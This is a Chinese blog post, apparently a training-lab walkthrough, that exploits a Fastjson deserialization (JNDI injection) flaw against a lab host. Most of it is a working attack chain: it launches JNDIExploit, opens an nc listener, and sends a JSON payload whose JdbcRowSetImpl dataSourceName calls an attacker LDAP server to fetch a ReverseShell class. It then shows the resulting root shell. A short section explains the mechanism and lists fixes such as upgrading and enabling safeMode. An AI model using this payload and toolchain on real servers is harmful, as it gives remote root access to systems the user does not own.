news 2026/9/30 13:03:18

Fastjson 反序列化漏洞(JNDI注入)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Fastjson 反序列化漏洞(JNDI注入)

指纹识别 -> 漏洞探测 -> 搭建攻击环境 -> 构造 Payload -> RCE 提权

📚 一、 整体攻击链路复盘(上帝视角)

我们这次做的是一个非常经典的Fastjson 反序列化漏洞(JNDI 注入)的利用。整个流程就像一场精心策划的“特洛伊木马”行动:

  1. 踩点与伪装(信息收集):你发送了一个坏掉的 JSON ({),逼目标服务器报错。服务器很诚实,把底层的错误信息(com.alibaba.fastjson.JSONException)打印出来了,这就暴露了它的身份和版本。
  2. 布置陷阱(启动攻击环境):你在 Kali 上启动了JNDIExploit,这相当于开了一家“恶意军火库”(LDAP 服务 1389 端口 + HTTP 文件服务 3456 端口),并准备了反弹 Shell 的恶意代码。
  3. 投递木马(发送 Payload):你构造了一个带有@type特性的恶意 JSON,通过 Yakit 发送给目标。这个 JSON 的作用是欺骗目标服务器去你的“军火库”拿武器。
  4. 触发爆炸(目标执行):目标服务器解析 JSON 时,被诱导去请求你的 LDAP 服务,然后下载并在自己的内存中执行了你的恶意类。
  5. 建立据点(反弹 Shell):恶意类执行后,主动向你的 Kali 的34560端口发起连接,把服务器的控制权(Root Shell)交给了你。

🛠️ 二、 核心工具详解

本次实战我们用到了三个关键工具,理解它们的作用非常重要:

1. Yakit (Web Fuzzer)
  • 作用:你的“发射器”。用来构造和发送精心设计的 HTTP 请求(包含了恶意 JSON 的 POST 请求)。
  • 为什么用它:因为它可以方便地修改请求头(Content-Type: application/json)和请求体,并且可以直观地看到服务器的响应。
2. JNDIExploit (核心武器库)

这是本次攻击的灵魂工具,它同时扮演了两个角色:

  • LDAP 服务 (1389端口):当目标服务器发起 JNDI 查询时,这个服务负责接收请求,并返回一个“引用”(Reference),告诉目标:“你要的东西不在我这,去我的 HTTP 服务器下载吧”。
  • HTTP 服务 (3456端口):负责托管恶意的.class文件。目标服务器通过这个服务下载真正的执行代码。
  • Payload 生成器:这个工具内置了多种利用链(如ReverseShell反弹Shell、TomcatEcho回显等),我们只需要在 URL 中指定类型和参数(如 IP 和端口),它就会自动生成对应的恶意类。
3. Netcat (nc)
  • 作用:你的“接收器”。用来监听一个本地端口(如 34560),等待目标服务器主动连接过来。
  • 为什么用它:在 RCE(远程代码执行)利用中,由于目标在内网,我们无法直接连接它,所以要让目标反向连接我们(Reverse Shell)。nc -nvlp 34560就是开启这个反向连接的门。

🧠 三、 底层原理深挖(为什么会成功?)

这里涉及到三个核心概念的连环触发:

  1. Fastjson 的@type特性:
    Fastjson 为了支持多态,允许在 JSON 中使用@type字段指定要反序列化的 Java 类。攻击者利用这一点,指定了com.sun.rowset.JdbcRowSetImpl这个类。
  2. JdbcRowSetImpl 的 JNDI 注入:
    这个类在设置dataSourceName属性时,会调用lookup()方法。而如果dataSourceName是一个ldap://开头的地址,它就会去请求这个 LDAP 服务器。这就是漏洞触发点。
  3. JNDI (Java Naming and Directory Interface):
    Java 的命名和目录接口。它可以用来访问 LDAP、RMI 等服务。当 Java 通过 JNDI 访问一个远程的 LDAP 服务时,如果服务端返回一个恶意的引用(Reference),Java 会自动去下载并实例化这个对象(这就是为什么叫 JNDI 注入)。

🛡️ 四、 防御与修复建议(实战视角)

如果你是一名安全工程师,面对这个漏洞该怎么修补?

  1. 升级 Fastjson 版本:这是最直接的方法。升级到 Fastjson 1.2.83 或更高版本,或者迁移到更安全的Fastjson2。
  2. 关闭 AutoType:在代码中开启ParserConfig.getGlobalInstance().setSafeMode(true);,这样可以禁止@type指定的任意类反序列化。
  3. 限制 JNDI 访问:在 Java 虚拟机层面,可以通过设置-Dcom.sun.jndi.ldap.object.trustURLCodebase=false来禁止 JNDI 从远程加载代码。
  4. 网络层防御:限制服务器主动向外网发起连接(出网限制),可以有效阻断反弹 Shell。

🎓 五、 结语

通过这次实操,你不仅学会了怎么用 Yakit 发送请求,怎么用 JNDIExploit 架设服务,怎么用 NC 接收 Shell,更关键的是,你走完了完整的渗透测试流程。

那个 Yakit 的400报错其实是个很好的“彩蛋”——它告诉你,实战中不是每次攻击都会得到“完美”的响应,但只要底层逻辑通了,目标依然会被拿下。

实战步骤

第一阶段:信息收集与指纹识别

目标:确认目标网站是 Java 应用,并识别出它使用的是 Fastjson 库。

你的操作步骤:

步骤 1:基础访问与初步判断

  1. 在浏览器中访问目标网站:http://10.3.4.93:8090
  2. 观察返回的内容(截图中是{"age": 25, "name": "Bob"})。
  3. 思考:为什么老师看图 1 的 Logo 和返回内容就能初步判断是 Java 部署的网站?(提示:Spring Boot 默认返回 JSON 格式数据,且带有特定的图标)。

其实在“看图识别框架”这件事上,Logo 只是一个辅助线索。老师发给你看的这个“绿叶子”Logo,在渗透测试中有个专门的说法叫favicon(网站图标)识别。

🌿 常见框架的 Logo 特征

  • Spring Boot:绿叶子图标。如果服务端没有自定义图标,默认会沿用 Spring Boot 的 Logo 。

  • Apache Shiro:盾牌形图标。Shiro 本身没有自带的“网站Logo”,但在实战中常通过Cookie中是否出现rememberMe字段来识别,这个字段的默认值rememberMe=deleteMe辨识度很高 。

  • WordPress:蓝色圆底、白色字母“W”的 Logo。这是全球使用最广泛的 CMS,其默认的 favicon 和页面源码中的wp-content、wp-includes路径是强识别特征 。

🔍 除了 Logo,还有哪些“一眼看出”的特征?

除了看 Logo,在渗透测试的“信息收集”阶段,通常还会从下面这几个维度交叉验证:

  • 报错页面:这是最直接的证据。你老师教程里用的就是这招,通过构造畸形 JSON 拿到com.alibaba.fastjson.JSONException的报错。类似地,Spring Boot 默认的白色报错页(Whitelabel Error Page)或包含nested exception字样的报错信息,都是极强的指纹 。
  • Cookie 特征:这是最能直接暴露后端语言和框架的地方。如果 Set-Cookie 里出现JSESSIONID,说明后端是 Java,而PHPSESSID则对应 PHP 。
  • 响应头(Header):Server或X-Powered-By等响应头偶尔会直接“自报家门”,比如X-Powered-By: ThinkPHP。
  • URL 后缀:比如.do、.action这样的后缀,通常和 Java 的 Struts 或 Spring MVC 框架相关 。

💡 工具推荐(进阶)

如果不想在浏览器里手工比对,可以使用Wappalyzer(浏览器插件或 API)或者WhatWeb这类工具自动分析页面源码、Headers 和 JS 文件等,输出一份完整的技术栈清单 。

步骤 2:构造畸形 JSON 报错探测

  1. 打开你的抓包工具(Burp Suite 或直接使用 Postman)。

在kali中使用yakit

(由于 AppImage 在 Kali 等部分系统上需要特殊权限,建议加上--no-sandbox参数启动)

./Yakit-1.4.9-0925-linux-amd64.AppImage --no-sandbox
  1. 浏览器访问http://10.3.4.93:8090,Intercept 界面会抓到一个GET请求(因为你是直接访问网址)。

  2. 右键点击这个抓到的请求区域,bp选择Send to Repeater(发送到重放器),快捷键是Ctrl + R(Mac 是Cmd + R)。yakit则是发送到 Web Fuzzer

  3. 构造一个POST请求,发送到http://10.3.4.93:8090。
  4. 设置(添加)请求头【在请求头的末尾(Host行的下方)】:
    • Content-Type: application/json

设置请求体(Body):故意写一个不闭合的畸形 JSON:

{
  1. 发送请求。

步骤 3:分析报错信息获取指纹

  1. 观察服务器的响应(图 2 右侧)。
  2. 你会看到返回了 HTTP 400 错误,并且页面中包含了详细的异常堆栈。
  3. 在报错信息中寻找关键字:nested exception is com.alibaba.fastjson.JSONException。
  4. 结论:确认目标使用了Fastjson库。
  5. 版本判断:结合老师教程中提到的safe6Sec/Fastjson项目,我们知道 Fastjson 在1.2.9 到 1.2.47版本之间存在通用的反序列化漏洞,这就是我们接下来要利用的突破口。

第二阶段:搭建攻击环境

目标:在你自己的攻击机上启动恶意 LDAP 和 HTTP 服务,用来接收目标发来的 JNDI 请求并托管恶意代码。

你的操作步骤:

步骤 1:准备攻击工具

  1. 在你的攻击机(Kali 或 VPS)上,下载教程里提到的工具包:JNDIExploit-1.3-SNAPSHOT.jar。
  2. 确保你的攻击机已经安装了 Java 运行环境(JDK 1.8 左右即可)。

步骤 2:启动 JNDI 恶意服务

  1. 在攻击机的命令行终端中,进入存放 jar 包的目录。

执行以下命令启动服务(注意替换 IP):

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 你的攻击机IP

(例如,如果老师的攻击机 IP 是192.168.230.16,命令就是java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.230.16)

验证启动:成功启动后,终端会输出类似下面的内容:

[+] LDAP Server Start Listening on 1389 ...

[+] HTTP Server Start Listening on 3456 ...

(这代表 LDAP 服务监听了 1389 端口,HTTP 服务监听了 3456 端口)

步骤 3:查看可用 Payload
为了确认我们可以使用哪种反弹 Shell 的格式,你可以执行下面这个命令查看工具帮助:

java -jar JNDIExploit-1.3-SNAPSHOT.jar -u

在输出的信息里,找到反弹 Shell 的格式(通常是):
ldap://你的IP:1389/Basic/ReverseShell/[你的IP]/[你准备监听的端口]

第三阶段:准备接收反弹 Shell

目标:启动恶意服务,并开启监听端口等待目标机器上线。

步骤 1:正式启动 JNDI 恶意服务(终端窗口 A)
  1. 在你现在的这个终端(或者新开一个终端),进入工具所在目录,已经开过了就不用操作这一步了。

执行启动命令(注意:这次不要加-u,并且把 IP 换成你攻击机的真实 IP):

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 你的攻击机IP

(例如:java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.230.16)

成功标志:终端会挂起并显示:

[+] LDAP Server Start Listening on 1389 ... [+] HTTP Server Start Listening on 3456 ...

⚠️注意:这个终端窗口不要关闭,让它一直挂着运行。

只能开一个监听窗口,除非换一个端口

方法一:杀掉之前占用的进程(推荐)

如果你不知道之前那个窗口去哪了,或者它还在后台挂着,可以在当前终端执行以下命令强制结束所有占用端口的 Java 进程:

pkill -f JNDIExploit

或者

kill -9 $(lsof -t -i:1389)

执行完后,再次运行你的启动命令:

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78

如果成功,终端会显示LDAP Server Start Listening on 1389 ...和HTTP Server Start Listening on 3456 ...。


方法二:查找并手动关闭旧窗口

检查你的任务栏或终端标签页,看看是不是之前运行过java -jar JNDIExploit...的那个终端窗口没有关闭。直接在那个窗口按Ctrl + C终止它,然后再开一个新的终端来运行。


方法三:换个端口启动(如果 1389 被其他重要服务占用)

如果 1389 端口被系统里其他必须运行的服务占用了,你可以给工具指定新的端口:

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78 -l 13890 -p 34560

(解释:-l指定 LDAP 端口为 13890,-p指定 HTTP 端口为 34560)
注意,如果你换了 LDAP 端口,之后构造 Payload 时也要把端口改成新的:
ldap://192.168.196.78:13890/Basic/ReverseShell/192.168.196.78/34560

若杀不掉

🔍 第一步:排查是谁占用了端口

在终端里执行以下命令,看看究竟是谁霸占了 1389 端口:

sudo lsof -i:1389

(如果提示没有 lsof,可以用netstat -tulnp | grep 1389代替)

可能出现的两种情况:

  1. 如果是 Java 进程:说明你的JNDIExploit还在后台没死透。
  2. 如果是其他进程(如 dnsmasq 等):说明你 Kali 系统里有别的服务占用了这个端口。

🛠️ 第二步:暴力清理(推荐)

不管是谁,为了确保环境干净,直接执行以下命令强制杀掉占用 1389 和 3456 端口的进程:

sudo fuser -k 1389/tcp sudo fuser -k 3456/tcp

(fuser -k可以直接根据端口号杀掉相关进程,非常管用)

杀掉后,再次执行启动命令:

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78


💡 备选方案:如果 1389 被系统重要服务占用无法释放

在 Kali 中,有时 1389 会被其他系统服务(如 LDAP 客户端服务)占用。
如果清理后依然报错,不要死磕,直接换端口启动。

执行以下命令,把 LDAP 端口改成13890(注意多了一个0):

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78 -l 13890

⚠️特别注意:如果你使用了备选方案换成了13890端口,那么在下一阶段构造 JNDI 链接时,链接里的端口也要改成 13890,即:
ldap://192.168.196.78:13890/Basic/ReverseShell/192.168.196.78/34560

步骤 2:开启 NC 监听端口(终端窗口 B)
  1. 新开一个终端窗口(不要关掉刚才那个)。

执行监听命令。这里非常关键,端口不要写 3456(因为被工具占用了),我们用 34560:

nc -nvlp 34560
  1. 成功标志:终端会显示listening on [any] 34560 ...,然后光标闪烁,等待连接。

步骤 3:构造最终的 JNDI Payload

根据你截图里看到的格式(ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]),结合我们刚才设置的参数,最终的 Payload 是:

ldap://你的攻击机IP:1389/Basic/ReverseShell/你的攻击机IP/34560

(例如:ldap://192.168.230.16:1389/Basic/ReverseShell/192.168.230.16/34560)

把这个 Payload 记下来,下一阶段我们要把它塞进 JSON 里发给目标。

ldap://192.168.196.78:1389/Basic/ReverseShell/192.168.196.78/34560

第四阶段:构造 Fastjson 恶意 Payload 并发送

目标:把我们准备好的 JNDI 链接,塞进 Fastjson 的利用链里,发给目标服务器。

步骤 1:回到 Yakit 的 Web Fuzzer

回到你刚才成功测试出HTTP/1.1 400的那个请求页面。

步骤 2:替换请求体(Body)

把第 11 行那个单独的{删掉,替换成下面这段完整的 JSON 代码:

{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.196.78:1389/Basic/ReverseShell/192.168.196.78/34560", "autoCommit": true } }

⚠️极其重要的检查:
请务必仔细核对dataSourceName里的 IP 和端口:

  • 第一处 IP192.168.196.78:这是你的 JNDI 攻击服务器 IP。
  • 端口1389:这是你启动 JNDI 工具时监听的 LDAP 端口
  • (如果你之前换了端口,这里要跟着改)不过我一般不会换。
  • 第二处 IP192.168.196.78:这是你准备接收反弹 Shell 的 IP(通常和攻击机一样)。
  • 端口34560:这是你之前用nc -nvlp 34560开启的监听端口。
步骤 3:确保请求头正确
  • 第 1 行:必须是POST / HTTP/1.1
  • 第 9 行:必须有Content-Type: application/json
  • 请求头和 JSON 之间必须有一个空行(第 10 行)。
步骤 4:发送攻击

点击 Yakit 的发送按钮。


第五阶段:验证与获取权限

观察点 1:Yakit 的响应
  • 如果攻击成功,目标服务器的响应可能是一个HTTP/1.1 500错误(因为 Fastjson 在反序列化时会去请求你的 LDAP 服务,这个过程可能会让请求超时或抛出异常)。
  • 也可能会返回正常页面或 200,这取决于目标服务器的配置。不要只盯着 Yakit 的响应看。
观察点 2:JNDI 工具终端(你启动java -jar的那个窗口)

这是判断攻击是否成功的关键。如果你看到类似下面的日志输出,说明目标已经上钩:

[+] Received LDAP Query: Basic/ReverseShell/192.168.196.78/34560 [+] Payload: reversereverse [+] Sending LDAP ResourceRef result for Basic/ReverseShell/192.168.196.78/34560 [+] New HTTP Request From /10.3.4.93:xxxxx /ExploitXXXXX.class [+] Receive ClassRequest: ExploitXXXXX.class [+] Response Code: 200

(解释:目标通过 LDAP 查询了你的服务,然后通过 HTTP 请求下载了恶意的.class文件并执行)

观察点 3:NC 监听终端(你执行nc -nvlp 34560的那个窗口)

如果前面的步骤都顺利,此时你的 NC 窗口会弹出一串连接信息,并且出现类似bash: cannot set terminal process group...的提示,最后会给你一个命令提示符(比如root@...:/#)。

(就是在 NC 窗口里输入以下命令验证)

就是在那个root@1cf5a9298273:/#的光标后面,试着输入几个命令,感受一下“拿下服务器”的感觉:

  • 输入whoami回车,确认是不是 root。
  • 输入ls回车,看看它里面有什么文件。
  • 输入ip a回车,看看它的内网 IP 是不是10.3.4.93。
whoami

如果返回root,恭喜你,RCE 成功!


最后总结和扩展练习

🛠️ 复现这次攻击的关键条件

你这次的攻击能成功,除了工具和payload,其实还依赖了目标环境的特定“窗口”:

  • Fastjson 版本:介于 1.2.25 到 1.2.47 之间,这个区间有利用@type绕过checkAutoType的经典漏洞。
  • JDK 版本:必须是低版本(如 JDK 8u191 以下),高版本 JDK 默认禁止 JNDI 远程加载代码,攻击会被拦截。
  • 配置状态:通常是 AutoType 未开启(或开发者手动开启了),或者处于 SafeMode 未启用的默认状态。

📚 推荐练手靶场与进阶方向

下面的靶场能帮助你从不同维度巩固和理解 Fastjson 漏洞,可以根据自己的基础选择:

靶场 / 项目

核心特点

适合人群

获取地址

Vulhub

一键启动经典漏洞环境(含 1.2.24-rce、1.2.47-rce)

希望快速复现基础漏洞,理解利用链的初学者

GitHub:vulhub/vulhub

why-success/fastjson-rce-lab

针对 1.2.83 高版本的 Gadget-free 利用,更接近真实场景

已掌握基础,希望挑战高版本绕过的人

GitHub:why-success/fastjson-rce-lab

Ape1ron/fastjson1283poc_public

覆盖 Tomcat/Jetty 等不同容器、JDK 8/17 等不同 JDK 的利用路径

对底层利用技术感兴趣,想在复杂环境下练习

GitHub:Ape1ron/fastjson1283poc_public

JavaVul

提供从 1.2.24 到 1.2.66 等多个版本的靶场,便于系统化练习

希望系统练习各个版本绕过技术的进阶者

GitHub:007panda/JavaVul

你可以先从Vulhub里较新的 1.2.47-rce 环境开始,对比你这次的操作,会发现在环境搭建上简单很多。之后如果想挑战,可以去尝试 1.2.83 的靶场,那里更需要你理解LaunchedURLClassLoader或/proc/self/fd这类底层机制。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/30 13:02:14

企业级LLM落地实战:LLM网关、RAG与Agent平台架构设计

1. 企业级 LLM 落地,为什么“能跑通 Demo”和“能上生产”是两回事企业级 LLM 这个系列写到第九篇,我越来越确信一件事:真正卡住团队的从来不是模型本身,而是模型外面那一圈工程。你可能已经用几行代码调通了某个大模型的接口&…

作者头像 李华
网站建设 2026/9/30 13:02:07

2026年AI配音做汽车解说怎么选?

做汽车解说、车型介绍、新车资讯或者汽车测评视频,配音往往决定了视频的整体观感。这类内容通常包含车型名称、配置参数、价格、续航、动力系统等大量信息。如果全部自己录音,修改一次文案就可能重新录一遍。AI配音更适合需要持续更新的汽车内容。如果主…

作者头像 李华
网站建设 2026/9/30 13:02:01

DeepSeek交通流量预测调参指南:28页手册解决超参数优化难题

简介:这份PDF文档面向智慧城市建设者、交通数据分析师及深度学习入门者,聚焦如何用DeepSeek模型完成交通流量预测的调参实战。内容从智慧城市与交通预测背景切入,梳理传统方法的局限,再深入DeepSeek架构原理、数据集准备与预处理、…

作者头像 李华
网站建设 2026/9/30 13:01:56

跨境物流工具箱实测:39项工具里这4个最高频,附使用步骤

做跨境物流和外贸的,报价环节最耗时间的往往不是谈客户,是反复查价、算箱、对编码。最近把这类需求对应的工具集中过了一遍,来源是枢讯平台的业务工具箱页(news.boxwise.top/tools),共39项、6大类。这篇挑4…

作者头像 李华
网站建设 2026/9/30 13:01:52

PHP双框架实战:打造港口物流船货柜全流程管理系统

我们码头这套系统上线快一年了,一直想写篇复盘,正好趁着手头项目收尾,把当初从零搭建“船只货柜管理”这套东西的思路和踩过的坑都倒出来。标题看着长,其实就是个很典型的港口物流场景——“船要进港、柜要落地、车要提箱”&#…

作者头像 李华
网站建设 2026/9/30 13:00:34

洛谷P1918保龄球:大值域查询的排序二分与哈希实战解析

第一次在洛谷刷到P1918保龄球时,我差点被题面里那一排球瓶骗了,以为又是个模拟计分题,直到看清数据范围才意识到,这其实是一道非常典型的“大值域查询”题。题目本身不复杂,但要把思路理顺、把代码写稳,顺带…

作者头像 李华